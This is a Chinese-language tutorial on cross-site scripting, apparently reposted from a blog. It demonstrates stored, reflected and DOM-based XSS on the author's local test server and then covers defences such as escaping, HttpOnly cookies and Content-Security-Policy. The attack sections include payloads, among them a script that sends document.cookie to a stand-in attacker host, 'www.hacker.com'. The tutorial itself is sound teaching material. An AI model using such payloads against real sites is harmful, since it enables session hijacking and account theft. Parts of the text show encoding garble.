1、簡介
????????XSS ：Cross Site Scripting，為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼，當(dāng)用戶瀏覽該頁之時，嵌入其中Web里面的Script代碼會被執(zhí)行，從而達(dá)到惡意攻擊用戶的目的。在一開始的時候，這種攻擊的演示案例是跨域的，所以叫"跨站腳本"。但是發(fā)展到今天，由于JavaScript的強大功能基于網(wǎng)站前端應(yīng)用的復(fù)雜化，是否跨域已經(jīng)不再重要。但是由于歷史原因，XSS這個名字一直保留下來。XSS長期以來被列為客戶端Web安全中的頭號大敵。因為XSS破壞力強大，且產(chǎn)生的場景復(fù)雜，難以一次性解決?，F(xiàn)在業(yè)內(nèi)達(dá)成的共識是：針對各種不同場景產(chǎn)生的XSS，需要區(qū)分情景對待。
攻擊原理：
????????XSS的原理是WEB應(yīng)用程序混淆了用戶提交的數(shù)據(jù)和JS腳本的代碼邊界，導(dǎo)致瀏覽器把用戶的輸入當(dāng)成了JS代碼來執(zhí)行。
XSS攻擊演示：
（1）通過頁面插入留言信息
<body>
<form action="/lm/add" method="post">
<input name="content"/>
<input type="submit" value="留言"/>
</form>
</body>（2）頁面展示
<body>
<table>
<thead>
<th>序號</th>
<th>留言</th>
<th>時間</th>
</thead>
<tbody>
<tr th:each="lm,stat:${list}">
<td th:text="${lm['id']}"> </td>
<td th:utext="${lm['content']}"> </td>
<td th:text="${lm['date']}"> </td>
</tr>
</tbody>
</table>
</body>（3）測試
留言：http://www.edu.com/storexss.html
查看：http://www.edu.com/admin/main
注：這里的網(wǎng)站是我自己運行的本地服務(wù)器，只不過是修改了host文件，將localhost改為此域名，后端執(zhí)行邏輯省略。
正常：
窗前明月光，我是郭德綱
<!--惡意腳本植入-->
<script>alert('hey!you are attacked');</script><!--劫持流量實現(xiàn)惡意跳轉(zhuǎn)-->
<script>window.location.</script><img src="a.jpg" onerror="alert('Attack')"/>數(shù)據(jù)和代碼分離原則，你期望用戶輸入的數(shù)據(jù)，而攻擊者輸入的是代碼。
2、XSS攻擊
- 存儲型XSS
- 反射型XSS
- DOM型XSS
存儲型XSS
????????存儲型XSS，也就是持久型XSS。攻擊者上傳的包含惡意JS腳本的信息被Web應(yīng)用程序保存到數(shù)據(jù)庫中，Web應(yīng)用程序在生成新的頁面的時候如果包含了該惡意JS腳本，這樣會導(dǎo)致所有訪問該網(wǎng)頁的瀏覽器解析執(zhí)行該惡意腳本。這種攻擊類型一般常見在博客、論壇等網(wǎng)站中。
存儲型是最危險的一種跨站腳本，比反射性XSS和Dom型XSS都更有隱蔽性。
因為它不需要用戶手動觸發(fā)，任何允許用戶存儲數(shù)據(jù)的web程序都可能存在存儲型XSS漏洞。
若某個頁面遭受存儲型XSS攻擊，所有訪問該頁面的用戶會被XSS攻擊。
攻擊步驟：
- 攻擊者把惡意代碼提交到目標(biāo)網(wǎng)站的數(shù)據(jù)庫中
- 用戶打開目標(biāo)網(wǎng)站，網(wǎng)站服務(wù)端把惡意代碼從數(shù)據(jù)庫中取出，拼接在HTML上返回給用戶
- 用戶瀏覽器接收到響應(yīng)解析執(zhí)行，混在其中的惡意代碼也被執(zhí)行
- 惡意代碼竊取用戶敏感數(shù)據(jù)發(fā)送給攻擊者，或者冒充用戶的行為，調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作?
存儲型 XSS(又被稱為持久性XSS)攻擊常見于帶有用戶保存數(shù)據(jù)的網(wǎng)站功能，如論壇發(fā)帖、商品評論、用戶私信、留言等功能。
（1）簡單攻擊：
測試路徑：http://www.edu.com/storexss.html
<script>alert('hello');</script>
（2）獲取cookie信息：
登錄窗口：http://www.edu.com/storexss.html
<script>alert(document.cookie)</script>
（3）黑客竊取cookie：
????????用戶竊取cookie，具體實現(xiàn)就是將用戶的cookie值發(fā)送到黑客工具箱，那么就需要將竊取用戶cookie的js植入到系統(tǒng)中?？紤]到竊取用戶的js腳本過長不宜直接編寫腳本植入，可以通過外部腳本的方式實現(xiàn)。
http://www.hacker.com 127.0.0.1
http://www.edu.com 127.0.0.1 （注：這些域名都是我修改本地localhost域名，它們是我自己搭建的本地服務(wù)器）<script src="http://www.hacker.com/script/hacker.js"></script>
竊取失?。?/p>
Access to XMLHttpRequest at 'http://www.hacker.com/s?c=url:http://www.edu.com/lm/query%20cookie:JSESSIONID=6756A3597BDC58B29A
BF7806F4B533AD' from origin 'http://www.edu.com' has been blocked byCORS policy: No 'Access-Control-Allow-Origin' header is present on therequested resource.
（4）繞過瀏覽器同源策略：
圖片可以加載外部的數(shù)據(jù)源
(function () {
(new Image()).src = 'http://www.hacker.com/h?c=' +
escape("url=" + document.location.href) +
escape('&cookie=' + document.cookie);
})();<script src="http://www.hacker.com/script/hacker2.js"></script>訪問：http://www.hacker.com/g?
（5）通過cookie入侵
反射型XSS
????????反射型XSS，又稱非持久型XSS，惡意代碼并沒有保存在目標(biāo)網(wǎng)站，而是通過引誘用戶點擊一個惡意鏈接來實施攻擊。這類惡意鏈接有哪些特征呢？
主要有：
- 惡意腳本附加到 url 中，只有點擊此鏈接才會引起攻擊
- 不具備持久性，即只要不通過這個特定 url 訪問，就不會有問題
- xss漏洞一般發(fā)生于與用戶交互的地方
演示連接：http://www.edu.com/reflectxss?reflectxss=
（1）正常處理
http://www.edu.com/reflectxss?reflectxss=lagou
（2）腳本入侵
http://www.edu.com/reflectxss?reflectxss=<script>alert('lagou')</script>
（3）獲取cookie
<!--如果已經(jīng)登錄-->
http://www.edu.com/reflectxss?reflectxss=<script>alert(document.cookie)</script>
（4）構(gòu)造DOM
http://www.edu.com/reflectxss?reflectxss=<input type="button" value="登錄"/>
DOM型XSS
????????DOM（Document Object Model），DOM型XSS其實是一種特殊類型的反射型XSS（不存儲），它是基于DOM文檔對象模型的一種漏洞，而且不需要與服務(wù)器進行交互（不處理）。
????????客戶端的腳本程序可以通過DOM來動態(tài)修改頁面內(nèi)容，從客戶端獲取DOM中的數(shù)據(jù)并在本地執(zhí)行?；谶@個特性，就可以利用JS腳本來實現(xiàn)XSS漏洞的利用。
演示連接：http://www.edu.com/domxss.html?domxss=paramvalue
（1）正常處理
http://www.edu.com/domxss.html?domxss=lagou
（2）腳本入侵，未遂
http://www.edu.com/domxss.html?domxss=<script>alert('lagou')</script>
使用innerHTML獲得的JS代碼是不能被執(zhí)行的，JS只有在頁面初次加載的時候才有效
（3）構(gòu)造DOM
http://www.edu.com/domxss.html?domxss=<input type="button" value="登錄"/>
（4）構(gòu)造DOM
http://www.edu.com/domxss.html?domxss=<input type="button" value="登錄" onClick="alert(document.cookie)"/>
（5）利用img標(biāo)簽
http://www.edu.com/domxss.html?domxss=<img src='http://www.hacker.com/attack.jpg' οnerrοr='alert(110)'/>
3、植入JS代碼攻擊及危害分析
外在表現(xiàn)形式：
- 直接注入JavaScript代碼
- 引用外部JS文件
基本實現(xiàn)原理：
- 通過img標(biāo)簽的src發(fā)送數(shù)據(jù)
- 構(gòu)造表單誘導(dǎo)用戶輸入賬密
- 構(gòu)造隱藏的form表單自動提交
- 頁面強制跳轉(zhuǎn)
- 植入文字鏈接、圖片鏈接
潛在危害：
- 獲取管理員或者其他用戶Cookie，冒充身份登錄
- 構(gòu)造表單誘導(dǎo)用戶輸入賬號、密碼，獲取賬密
- 跳轉(zhuǎn)到其他網(wǎng)站，網(wǎng)站流量被竊取
- 植入廣告、外鏈等
- 通過隱藏友鏈提升其他網(wǎng)站百度權(quán)重（SEO黑帽）
4、植入HTML代碼攻擊及危害分析
外在表現(xiàn)形式：
- 構(gòu)造img標(biāo)簽
- 構(gòu)造a標(biāo)簽
- 構(gòu)造iframe
- 構(gòu)造其他HTML標(biāo)簽
基本實現(xiàn)原理：
- 通過img標(biāo)簽的src發(fā)送數(shù)據(jù)
- 通過img的onerror觸發(fā)腳本代碼
- 通過a標(biāo)簽被動觸發(fā)腳本代碼 href/onclick
- 通過iframe引入第三方頁面
- 直接構(gòu)造文字鏈接或圖片鏈接
潛在危害：
- 獲取管理員或者其他用戶Cookie，冒充身份登錄
- 構(gòu)造表單誘導(dǎo)用戶輸入賬號、密碼，獲取賬密
- 植入廣告、外鏈等
- 通過隱藏友鏈提升其他網(wǎng)站百度權(quán)重（SEO黑帽）
5、XSS漏洞預(yù)防策略
XSS攻擊能夠?qū)崿F(xiàn)的主要原因：對用戶的輸入進行了原樣的輸出。
輸入環(huán)節(jié)：
????????頁面限制輸入長度、特殊字符限制，后端代碼限制輸入長度、處理特殊字符，F(xiàn)ilter過濾器統(tǒng)一處理（自定義處理規(guī)則、使用apache commons text、使用 owasp AntiSamy）注意：盡量不要使用自定義處理規(guī)則，因為因為有些情況我們可能考慮不到，盡量使用第三方，成熟工具包。
當(dāng)然了如果你有鈔能力，使用阿里云防火墻，是一個完美的選擇。
????????開發(fā)人員來說，在后臺執(zhí)行用戶錄入數(shù)據(jù)長度的判斷，特殊字符的專業(yè)通常會定義在流量官網(wǎng)部分。
Cookie防護：?
通過植入的JS腳本獲得用戶的cookie，獲得用戶權(quán)限。cookie設(shè)置httponly，一般servlet容器默認(rèn)httpOnly true。
在流量網(wǎng)關(guān)中統(tǒng)一做處理：
resp.setHeader("SET-COOKIE", "JSESSIONID=" +request.getSession().getId()+ "; HttpOnly")X-Frame-Options 響應(yīng)頭 （是否允許frame、iframe等標(biāo)記)：
iframe允許加載外部的網(wǎng)頁，也可以自己作為外部網(wǎng)頁被加載，同時是可以被隱藏。
是否允許用戶去使用iframe，指定iframe加載的網(wǎng)頁地址。
DENY 不允許、SAMEORIGIN 可在相同域名頁面的 iframe 中展示、ALLOWFROM uri 可在指定頁的 frame 中展示。
add_header X-Frame-Options SAMEORIGIN; //在nginx的http或server節(jié)點中配置
// 也可通過filter設(shè)置 resp.setHeader("x-frame-options","SAMEORIGIN");
輸出環(huán)節(jié)：
OWASP ESAPI for Java
????????顯示時對字符進行轉(zhuǎn)義處理，各種模板都有相關(guān)語法，注意標(biāo)簽的正確使用。通常情況下前端框架或者對應(yīng)的模板引擎都將轉(zhuǎn)義設(shè)置為默認(rèn)。
thymeleaf：
<!--非轉(zhuǎn)義輸出,原樣輸出-->
<td style="background:#FFF; padding: 3px;"
th:utext="${item.content}"></td>
<!--轉(zhuǎn)義輸出-->
<td style="background:#FFF; padding: 3px;"
th:text="${item.content}"></td>JSP
<!--默認(rèn)true,進行轉(zhuǎn)義-->
<c:out value=" ${ content }" escapeXml="false" />
<c:outvalue=" ${ content }"/>DOM型XSS:
避免 .innerHTML、.outerHTML、document.write()，應(yīng)使用.textContent、.setAttribute() 等。
尤其注意onclick、onerror、onload、onmouseover 、eval()、setTimeout()、setInterval() 以及的 href
富文本處理：
????????在過濾富文本時，“事件”應(yīng)該被嚴(yán)格禁止，因為富文本的展示需求里不應(yīng)該包括“事件”這種動態(tài)效果。危險的標(biāo)簽，比如<iframe>、<script>、<base>、<from>等，也是應(yīng)該嚴(yán)格禁止的。在標(biāo)簽的選擇上，應(yīng)該使用白名單，避免使用黑名單。比如，只允許<a>、<img>、<div>等比較安全的“標(biāo)簽”存在。富文本過濾中，處理CSS是一件比較麻煩的事情，如果允許用戶自定義CSS、則也可能導(dǎo)致XSS攻擊。比如盡可能的禁止用戶自定義CSS與Style。有些比較成熟的開源項目，實現(xiàn)了對富文本的XSS檢查。Anti-Samy是OWASP上的一個開源項目，也是目前最好的XSS Filter。
6、內(nèi)容安全策略（CSP）
內(nèi)容安全策略 (CSP ：Content-Security-Policy ）是一個額外的安全層，用于檢測并削弱某些特定類型的攻擊，包括跨站腳本 (XSS) 和數(shù)據(jù)注入攻擊等。
核心思想：網(wǎng)站通過發(fā)送一個 CSP 頭部，來告訴瀏覽器什么是被授權(quán)執(zhí)行的與什么是需要被禁止的，被譽為專門為解決XSS攻擊而生的神器。
簡介：
????????XSS 攻擊利用了瀏覽器對于從服務(wù)器所獲取的內(nèi)容的信任。惡意腳本在受害者的瀏覽器中得以運行，因為瀏覽器信任其內(nèi)容來源，即使有的時候這些腳本并非來自于它本該來的地方。
????????CSP通過指定有效域——即瀏覽器認(rèn)可的可執(zhí)行腳本的有效來源——使服務(wù)器管理者有能力減少或消除XSS攻擊所依賴的載體。
????????一個CSP兼容的瀏覽器將會僅執(zhí)行從白名單域獲取到的腳本文件，忽略所有的其他腳本 (包括內(nèi)聯(lián)腳本和HTML的事件處理屬性)。
CSP的分類：
（1）Content-Security-Policy
配置好并啟用后，不符合 CSP 的外部資源就會被阻止加載。
（2）Content-Security-Policy-Report-Only?
表示不執(zhí)行限制選項，只是記錄違反限制的行為。它必須與report-uri 選項配合使用。
CSP的使用：
（1）在HTTP Header上使用（首選）
可以在網(wǎng)關(guān)的Filter中配置或者在Nginx服務(wù)器配置
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
Nginx配置方式
add_Header Content -Security-Policy : 策略
（2）在HTML上使用
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
如果Content-Security-Policy-Report-Only 頭部和 Content-Security-Policy 同時出現(xiàn)在一個響應(yīng)中，兩個策略均有效。在Content-Security-Policy 頭部中指定的策略有強制性 ，而Content-Security-Policy-Report-Only 中的策略僅產(chǎn)生報告而不具有強制性。支持CSP的瀏覽器將始終對于每個企圖違反你所建立的策略都發(fā)送違規(guī)報告，如果策略里包含一個有效的reporturi指令。
使用案例
開啟CSP方法：
<!--設(shè)置 HTTP 的頭部字段-->
<!--加載css、js-->
response.setHeader("Content-Security-Policy","default-src http: https:");
<!--設(shè)置網(wǎng)頁的<meta>標(biāo)簽-->
<meta http-equiv="Content-Security-Policy" content="formaction 'self';">
限制所有的外部資源，都只能從當(dāng)前域名加載，不包含子域名?
Content-Security-Policy: default-src 'self'限制所有的外部資源，都只能從當(dāng)前域名及其子域名加載
Content-Security-Policy: default-src 'self' *.lagou.com圖片可以從任何地方加載(注意 "*" 通配符)。
多媒體文件僅允許從 media1.com 和 media2.com 加載(不允許從這些站點的子域名)。
可運行腳本僅允許來自于scripts.lagou.com。
Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src scripts.lagou.com服務(wù)器僅允許通過HTTPS方式并僅從onlinebanking.abc.com域名來訪問文檔（線上銀行網(wǎng)站）
Content-Security-Policy: default-src https://onlinebanking.abc.com啟用違例報告：
默認(rèn)情況下，違規(guī)報告并不會發(fā)送。為啟用發(fā)送違規(guī)報告，你需要指定report-uri 策略指令，并提供至少一個URI地址去遞交報告：
Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi然后你需要設(shè)置你的服務(wù)器能夠接收報告，使其能夠以你認(rèn)為恰當(dāng)?shù)姆绞酱鎯Σ⑻幚磉@些報告。
違例報告樣本：
我們假設(shè)頁面位于 http://example.com/signup.html。它使用如下策略，該策略禁止任何資源的加載，除了來自cdn.example.com的樣式表。
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
signup.html 的HTML像這樣：
<!DOCTYPE html>
<html>
<head>
<title>Sign Up</title>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
... Content ...
</body>
</html>你能看出其中錯誤嗎？樣式表僅允許加載自cdn.example.com， 然而該頁面企圖從自己的源 ( http://example.com )加載。當(dāng)該文檔被訪問時，一個兼容CSP的瀏覽器將以POST請求的形式發(fā)送違規(guī)報告到 http://example.com/_/cspreports，內(nèi)容如下：
{
"csp-report": {
"document-uri": "http://example.com/signup.html", <!--訪問的網(wǎng)頁資源-->
"referrer": "",
"blocked-uri": "http://example.com/css/style.css", <!--違規(guī)資源的路徑-->
"violated-directive": "style-src cdn.example.com",
"original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
}
}blocked-uri字段中包含了違規(guī)資源的完整路徑
瀏覽器兼容性：?
文章來源：http://www.zghlxwxcb.cn/news/detail-475499.html
7、XSS漏洞掃描
常見的掃描工具有： Safe3WVS，Burp Suite ，AWVS，AppScan，W3af，Arachni，Acunetix等文章來源地址http://www.zghlxwxcb.cn/news/detail-475499.html
到了這里，關(guān)于跨站腳本攻擊（XSS）的文章就介紹完了。如果您還想了解更多內(nèi)容，請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
